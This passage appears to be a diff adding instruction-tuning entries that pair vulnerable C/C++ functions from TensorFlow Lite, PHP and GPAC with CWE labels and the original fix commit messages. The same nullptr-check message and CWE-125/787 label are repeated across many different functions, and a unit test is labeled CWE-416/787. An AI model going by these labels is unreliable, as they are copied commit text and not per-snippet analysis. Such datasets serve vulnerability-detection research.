all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus ResizeOutput(TfLiteContext* context, TfLiteNode* node) {\n  TfLiteIntArray* output_shape = GetOutputShape(context, node);\n  std::unique_ptr\n      scoped_output_shape(output_shape, TfLiteIntArrayFree);\n\n  const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n\n  // Tensorflow's Reshape allows one of the shape components to have the\n  // special -1 value, meaning it will be calculated automatically based on the\n  // input. Here we calculate what that dimension should be so that the number\n  // of output elements in the same as the number of input elements.\n  int num_input_elements = NumElements(input);\n\n  int num_output_elements = 1;\n  int stretch_dim = -1;\n  for (int i = 0; i < output_shape->size; ++i) {\n    int value = output_shape->data[i];\n    if (value == -1) {\n      TF_LITE_ENSURE_EQ(context, stretch_dim, -1);\n      stretch_dim = i;\n    } else {\n      num_output_elements *= value;\n    }\n  }\n  if (stretch_dim != -1) {\n    output_shape->data[stretch_dim] = num_input_elements / num_output_elements;\n    num_output_elements *= output_shape->data[stretch_dim];\n  }\n\n  TF_LITE_ENSURE_EQ(context, num_input_elements, num_output_elements);\n  return context->ResizeTensor(context, output, scoped_output_shape.release());\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus PrepareAny(TfLiteContext* context, TfLiteNode* node) {\n  TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);\n  const TfLiteTensor* input = GetInput(context, node, 0);\n  TF_LITE_ENSURE_TYPES_EQ(context, input->type, kTfLiteBool);\n  return PrepareSimple(context, node);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus ResizeOutputandTemporaryTensors(TfLiteContext* context,\n                                             TfLiteNode* node) {\n  const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n  const int num_dims = NumDimensions(input);\n  TF_LITE_ENSURE(context, num_dims >= 2);\n  const TfLiteTensor* fft_length = GetInput(context, node, kFftLengthTensor);\n  const int32_t* fft_length_data = GetTensorData(fft_length);\n  // The lib, fft2d, can only handle fft_lengths of power of 2.\n  TF_LITE_ENSURE(context, IsPowerOfTwo(fft_length_data[0]));\n  TF_LITE_ENSURE(context, IsPowerOfTwo(fft_length_data[1]));\n\n  int fft_height, fft_width;\n  fft_height = fft_length_data[0];\n  fft_width = fft_length_data[1];\n  int fft_working_length = std::max(fft_height, fft_width / 2);\n  int half_fft_working_length = fft_working_length / 2;\n\n  // Resize output tensor.\n  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n  TfLiteIntArray* output_shape = TfLiteIntArrayCopy(input->dims);\n  output_shape->data[num_dims - 2] = fft_length_data[0];\n  output_shape->data[num_dims - 1] = fft_length_data[1] / 2 + 1;\n  TF_LITE_ENSURE_STATUS(context->ResizeTensor(context, output, output_shape));\n\n  // Resize temporary tensors, fft_integer_working_area.\n  TfLiteTensor* fft_integer_working_area =\n      GetTemporary(context, node, kFftIntegerWorkingAreaTensor);\n  TfLiteIntArray* fft_integer_working_area_shape = TfLiteIntArrayCreate(1);\n  fft_integer_working_area_shape->data[0] =\n      2 + static_cast(sqrt(fft_working_length));\n  TF_LITE_ENSURE_STATUS(context->ResizeTensor(context, fft_integer_working_area,\n                                              fft_integer_working_area_shape));\n\n  // Resize temporary tensors, fft_double_working_area.\n  TfLiteTensor* fft_double_working_area =\n      GetTemporary(context, node, kFftDoubleWorkingAreaTensor);\n  TfLiteIntArray* fft_double_working_area_shape = TfLiteIntArrayCreate(1);\n  fft_double_working_area_shape->data[0] =\n      half_fft_working_length + fft_width / 4;\n  TF_LITE_ENSURE_STATUS(context->ResizeTensor(context, fft_double_working_area,\n                                              fft_double_working_area_shape));\n\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n  TF_LITE_ENSURE_EQ(context, NumInputs(node), 3);\n  TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n\n  const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n  const TfLiteTensor* begin = GetInput(context, node, kBeginTensor);\n  const TfLiteTensor* size = GetInput(context, node, kSizeTensor);\n  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n\n  // Ensure validity of input tensor and its dimension.\n  TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);\n  TF_LITE_ENSURE(context,\n                 begin->type == kTfLiteInt32 || begin->type == kTfLiteInt64);\n  TF_LITE_ENSURE(context,\n                 size->type == kTfLiteInt32 || size->type == kTfLiteInt64);\n  TF_LITE_ENSURE_EQ(context, NumDimensions(begin), 1);\n  TF_LITE_ENSURE_EQ(context, NumDimensions(size), 1);\n  TF_LITE_ENSURE_EQ(context, NumElements(begin), NumElements(size));\n  TF_LITE_ENSURE_MSG(context, NumDimensions(input) <= kMaxDim,\n                     \"Slice op only supports 1D-4D input arrays.\");\n\n  // Postpone allocation of output if any of the indexing tensors is not\n  // constant\n  if (!(IsConstantTensor(begin) && IsConstantTensor(size))) {\n    SetTensorToDynamic(output);\n    return kTfLiteOk;\n  }\n\n  return ResizeOutputShape(context, input, begin, size, output);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n  const TfLiteTensor* params = GetInput(context, node, kParams);\n  const TfLiteTensor* indices = GetInput(context, node, kIndices);\n  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n\n  switch (indices->type) {\n    case kTfLiteInt32:\n      return EvalGatherNd(context, params, indices, output);\n    case kTfLiteInt64:\n      return EvalGatherNd(context, params, indices, output);\n    default:\n      context->ReportError(\n          context, \"Indices of type '%s' are not supported by gather_nd.\",\n          TfLiteTypeGetName(indices->type));\n      return kTfLiteError;\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n  TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);\n  TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n\n  const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n  const TfLiteTensor* size = GetInput(context, node, kSizeTensor);\n  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n\n  // TODO(ahentz): Our current implementations rely on the inputs being 4D.\n  TF_LITE_ENSURE_EQ(context, NumDimensions(input), 4);\n  TF_LITE_ENSURE_EQ(context, NumDimensions(size), 1);\n\n  TF_LITE_ENSURE_EQ(context, size->type, kTfLiteInt32);\n  // ResizeBilinear creates a float tensor even when the input is made of\n  // integers.\n  output->type = input->type;\n\n  if (!IsConstantTensor(size)) {\n    SetTensorToDynamic(output);\n    return kTfLiteOk;\n  }\n\n  // Ensure params are valid.\n  auto* params =\n      reinterpret_cast(node->builtin_data);\n  if (params->half_pixel_centers && params->align_corners) {\n    context->ReportError(\n        context, \"If half_pixel_centers is True, align_corners must be False.\");\n    return kTfLiteError;\n  }\n\n  return ResizeOutputTensor(context, input, size, output);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n  const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n  const TfLiteTensor* multipliers = GetInput(context, node, kInputMultipliers);\n\n  if (IsDynamicTensor(output)) {\n    TF_LITE_ENSURE_OK(context, ResizeOutput(context, node));\n  }\n\n  switch (output->type) {\n    case kTfLiteFloat32:\n      Tile(*(input->dims), input, multipliers, output);\n      break;\n    case kTfLiteUInt8:\n      Tile(*(input->dims), input, multipliers, output);\n      break;\n    case kTfLiteInt32:\n      Tile(*(input->dims), input, multipliers, output);\n      break;\n    case kTfLiteInt64:\n      Tile(*(input->dims), input, multipliers, output);\n      break;\n    case kTfLiteString: {\n      DynamicBuffer buffer;\n      TileString(*(input->dims), input, multipliers, &buffer, output);\n      buffer.WriteToTensor(output, /*new_shape=*/nullptr);\n      break;\n    }\n    case kTfLiteBool:\n      Tile(*(input->dims), input, multipliers, output);\n      break;\n    default:\n      context->ReportError(context, \"Type '%s' is not supported by tile.\",\n                           TfLiteTypeGetName(output->type));\n      return kTfLiteError;\n  }\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n  TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);\n  TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n\n  const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n  const TfLiteTensor* seq_lengths = GetInput(context, node, kSeqLengthsTensor);\n  TF_LITE_ENSURE_EQ(context, NumDimensions(seq_lengths), 1);\n\n  if (input->type != kTfLiteInt32 && input->type != kTfLiteFloat32 &&\n      input->type != kTfLiteUInt8 && input->type != kTfLiteInt16 &&\n      input->type != kTfLiteInt64) {\n    context->ReportError(context,\n                         \"Type '%s' is not supported by reverse_sequence.\",\n                         TfLiteTypeGetName(input->type));\n    return kTfLiteError;\n  }\n\n  if (seq_lengths->type != kTfLiteInt32 && seq_lengths->type != kTfLiteInt64) {\n    context->ReportError(\n        context, \"Seq_lengths type '%s' is not supported by reverse_sequence.\",\n        TfLiteTypeGetName(seq_lengths->type));\n    return kTfLiteError;\n  }\n\n  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n  TfLiteIntArray* output_shape = TfLiteIntArrayCopy(input->dims);\n  TF_LITE_ENSURE_TYPES_EQ(context, output->type, input->type);\n\n  return context->ResizeTensor(context, output, output_shape);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Relu6Eval(TfLiteContext* context, TfLiteNode* node) {\n  const TfLiteTensor* input = GetInput(context, node, 0);\n  TfLiteTensor* output = GetOutput(context, node, 0);\n  ReluOpData* data = reinterpret_cast(node->user_data);\n  switch (input->type) {\n    case kTfLiteFloat32: {\n      size_t elements = input->bytes / sizeof(float);\n      const float* in = GetTensorData(input);\n      const float* in_end = in + elements;\n      float* out = GetTensorData(output);\n      for (; in < in_end; in++, out++) *out = std::min(std::max(0.f, *in), 6.f);\n      return kTfLiteOk;\n    } break;\n    case kTfLiteUInt8:\n      QuantizedReluX(0.0f, 6.0f, input, output, data);\n      return kTfLiteOk;\n    case kTfLiteInt8: {\n      QuantizedReluX(0.0f, 6.0f, input, output, data);\n      return kTfLiteOk;\n    } break;\n    default:\n      TF_LITE_KERNEL_LOG(\n          context,\n          \"Only float32, uint8 and int8 are supported currently, got %s.\",\n          TfLiteTypeGetName(input->type));\n      return kTfLiteError;\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: PHP_FUNCTION(linkinfo)\n{\n\tchar *link;\n\tsize_t link_len;\n\tzend_stat_t sb;\n\tint ret;\n\n\tif (zend_parse_parameters(ZEND_NUM_ARGS(), \"p\", &link, &link_len) == FAILURE) {\n\t\treturn;\n\t}\n\n\tret = VCWD_STAT(link, &sb);\n\tif (ret == -1) {\n\t\tphp_error_docref(NULL, E_WARNING, \"%s\", strerror(errno));\n\t\tRETURN_LONG(Z_L(-1));\n\t}\n\n\tRETURN_LONG((zend_long) sb.st_dev);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'Fixed bug #76459 windows linkinfo lacks openbasedir check'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TEST(CudnnRNNOpsTest, ForwardV2Lstm_ShapeFn) {\n  int seq_length = 2;\n  int batch_size = 3;\n  int num_units = 4;\n  int num_layers = 5;\n  int dir_count = 1;\n  std::vector input_shape = {seq_length, batch_size, num_units};\n  std::vector input_h_shape = {num_layers * dir_count, batch_size,\n                                    num_units};\n  std::vector output_shape = {seq_length, batch_size,\n                                   num_units * dir_count};\n  auto shape_to_str = [](const std::vector& v) {\n    return strings::StrCat(\"[\", absl::StrJoin(v, \",\"), \"]\");\n  };\n  string input_shapes_desc = strings::StrCat(\n      shape_to_str(input_shape), \";\", shape_to_str(input_h_shape), \";\",\n      shape_to_str(input_h_shape), \";\", \"[?]\");\n  string output_shapes_desc = \"[d0_0,d0_1,d1_2];in1;in1;?;?\";\n\n  ShapeInferenceTestOp op(\"CudnnRNNV2\");\n  TF_ASSERT_OK(NodeDefBuilder(\"test\", \"CudnnRNNV2\")\n                   .Input({\"input\", 0, DT_FLOAT})\n                   .Input({\"input_h\", 0, DT_FLOAT})\n                   .Input({\"input_c\", 0, DT_FLOAT})\n                   .Input({\"params\", 0, DT_FLOAT})\n                   .Attr(\"rnn_mode\", \"lstm\")\n                   .Attr(\"input_mode\", \"auto_select\")\n                   .Attr(\"direction\", \"unidirectional\")\n                   .Finalize(&op.node_def));\n  INFER_OK(op, input_shapes_desc, output_shapes_desc);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416', 'CWE-787'], 'message': 'Fix access to undefined memory during shape inference of Cudnn*.\n\nPiperOrigin-RevId: 400324259\nChange-Id: Ie3b7859d19ae24ee9ac2adf413bdc1e851bbc604'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static GF_Err gf_isom_parse_movie_boxes_internal(GF_ISOFile *mov, u32 *boxType, u64 *bytesMissing, Bool progressive_mode)\n{\n\tGF_Box *a;\n\tu64 totSize, mdat_end=0;\n\tGF_Err e = GF_OK;\n\n#ifndef\tGPAC_DISABLE_ISOM_FRAGMENTS\n\tif (mov->single_moof_mode && mov->single_moof_state == 2) {\n\t\treturn e;\n\t}\n\n\t/*restart from where we stopped last*/\n\ttotSize = mov->current_top_box_start;\n\tif (mov->bytes_removed) {\n\t\tassert(totSize >= mov->bytes_removed);\n\t\ttotSize -= mov->bytes_removed;\n\t}\n\tgf_bs_seek(mov->movieFileMap->bs, totSize);\n#endif\n\n\n\t/*while we have some data, parse our boxes*/\n\twhile (gf_bs_available(mov->movieFileMap->bs)) {\n\t\t*bytesMissing = 0;\n#ifndef\tGPAC_DISABLE_ISOM_FRAGMENTS\n\t\tmov->current_top_box_start = gf_bs_get_position(mov->movieFileMap->bs) + mov->bytes_removed;\n\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"[iso file] Parsing a top-level box at position %d\\n\", mov->current_top_box_start));\n#endif\n\n\t\te = gf_isom_parse_root_box(&a, mov->movieFileMap->bs, boxType, bytesMissing, progressive_mode);\n\n\t\tif (e >= 0) {\n\n\t\t} else if (e == GF_ISOM_INCOMPLETE_FILE) {\n\t\t\t/*our mdat is uncomplete, only valid for READ ONLY files...*/\n\t\t\tif (mov->openMode != GF_ISOM_OPEN_READ) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Incomplete MDAT while file is not read-only\\n\"));\n\t\t\t\treturn GF_ISOM_INVALID_FILE;\n\t\t\t}\n\t\t\tif ((mov->openMode == GF_ISOM_OPEN_READ) && !progressive_mode) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Incomplete file while reading for dump - aborting parsing\\n\"));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn e;\n\t\t} else {\n\t\t\treturn e;\n\t\t}\n\n\t\tswitch (a->type) {\n\t\t/*MOOV box*/\n\t\tcase GF_ISOM_BOX_TYPE_MOOV:\n\t\t\tif (mov->moov) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Duplicate MOOV detected!\\n\"));\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t\treturn GF_ISOM_INVALID_FILE;\n\t\t\t}\n\t\t\tmov->moov = (GF_MovieBox *)a;\n\t\t\tmov->original_moov_offset = mov->current_top_box_start;\n\t\t\t/*set our pointer to the movie*/\n\t\t\tmov->moov->mov = mov;\n#ifndef GPAC_DISABLE_ISOM_FRAGMENTS\n\t\t\tif (mov->moov->mvex) mov->moov->mvex->mov = mov;\n\n#ifdef GF_ENABLE_CTRN\n\t\t\tif (! (mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG)) {\n\t\t\t\tgf_isom_setup_traf_inheritance(mov);\n\t\t\t}\n#endif\n\n#endif\n\t\t\te = gf_list_add(mov->TopBoxes, a);\n\t\t\tif (e) return e;\n\n\t\t\ttotSize += a->size;\n\n            if (!mov->moov->mvhd) {\n                GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Missing MovieHeaderBox\\n\"));\n                return GF_ISOM_INVALID_FILE;\n            }\n\n            if (mov->meta) {\n\t\t\t\tgf_isom_meta_restore_items_ref(mov, mov->meta);\n\t\t\t}\n\n\t\t\t//dump senc info in dump mode\n\t\t\tif (mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG) {\n\t\t\t\tu32 k;\n\t\t\t\tfor (k=0; kmoov->trackList); k++) {\n\t\t\t\t\tGF_TrackBox *trak = (GF_TrackBox *)gf_list_get(mov->moov->trackList, k);\n\n\t\t\t\t\tif (trak->sample_encryption) {\n\t\t\t\t\t\te = senc_Parse(mov->movieFileMap->bs, trak, NULL, trak->sample_encryption);\n\t\t\t\t\t\tif (e) return e;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tu32 k;\n\t\t\t\tfor (k=0; kmoov->trackList); k++) {\n\t\t\t\t\tGF_TrackBox *trak = (GF_TrackBox *)gf_list_get(mov->moov->trackList, k);\n\t\t\t\t\tif (trak->Media->information->sampleTable->sampleGroups) {\n\t\t\t\t\t\tconvert_compact_sample_groups(trak->Media->information->sampleTable->child_boxes, trak->Media->information->sampleTable->sampleGroups);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n            if (mdat_end && mov->signal_frag_bounds && !(mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG) ) {\n                gf_isom_push_mdat_end(mov, mdat_end);\n                mdat_end=0;\n            }\n\t\t\tbreak;\n\n\t\t/*META box*/\n\t\tcase GF_ISOM_BOX_TYPE_META:\n\t\t\tif (mov->meta) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Duplicate META detected!\\n\"));\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t\treturn GF_ISOM_INVALID_FILE;\n\t\t\t}\n\t\t\tmov->meta = (GF_MetaBox *)a;\n\t\t\tmov->original_meta_offset = mov->current_top_box_start;\n\t\t\te = gf_list_add(mov->TopBoxes, a);\n\t\t\tif (e) {\n\t\t\t\treturn e;\n\t\t\t}\n\t\t\ttotSize += a->size;\n\t\t\tgf_isom_meta_restore_items_ref(mov, mov->meta);\n\t\t\tbreak;\n\n\t\t/*we only keep the MDAT in READ for dump purposes*/\n\t\tcase GF_ISOM_BOX_TYPE_MDAT:\n\t\t\tif (!mov->first_data_toplevel_offset) {\n\t\t\t\tmov->first_data_toplevel_offset = mov->current_top_box_start;\n\t\t\t\tmov->first_data_toplevel_size = a->size;\n\t\t\t}\n\t\t\ttotSize += a->size;\n\n#ifndef\tGPAC_DISABLE_ISOM_FRAGMENTS\n\t\t\tif (mov->emsgs) {\n\t\t\t\tgf_isom_box_array_del(mov->emsgs);\n\t\t\t\tmov->emsgs = NULL;\n\t\t\t}\n#endif\n\n\t\t\tif (mov->openMode == GF_ISOM_OPEN_READ) {\n\t\t\t\tif (!mov->mdat) {\n\t\t\t\t\tmov->mdat = (GF_MediaDataBox *) a;\n\t\t\t\t\te = gf_list_add(mov->TopBoxes, mov->mdat);\n\t\t\t\t\tif (e) {\n\t\t\t\t\t\treturn e;\n\t\t\t\t\t}\n\t\t\t\t}\n#ifndef\tGPAC_DISABLE_ISOM_FRAGMENTS\n\t\t\t\telse if (mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG) gf_list_add(mov->TopBoxes, a);\n#endif\n\t\t\t\telse gf_isom_box_del(a); //in other modes we don't care\n\n\n\t\t\t\tif (mov->signal_frag_bounds && !(mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG) ) {\n                    mdat_end = gf_bs_get_position(mov->movieFileMap->bs);\n                    if (mov->moov) {\n                        gf_isom_push_mdat_end(mov, mdat_end);\n                        mdat_end=0;\n                    }\n\t\t\t\t}\n\t\t\t}\n\t\t\t/*if we don't have any MDAT yet, create one (edit-write mode)\n\t\t\tWe only work with one mdat, but we're puting it at the place\n\t\t\tof the first mdat found when opening a file for editing*/\n\t\t\telse if (!mov->mdat && (mov->openMode != GF_ISOM_OPEN_READ) && (mov->openMode != GF_ISOM_OPEN_KEEP_FRAGMENTS)) {\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t\tmov->mdat = (GF_MediaDataBox *) gf_isom_box_new(GF_ISOM_BOX_TYPE_MDAT);\n\t\t\t\tif (!mov->mdat) return GF_OUT_OF_MEM;\n\t\t\t\te = 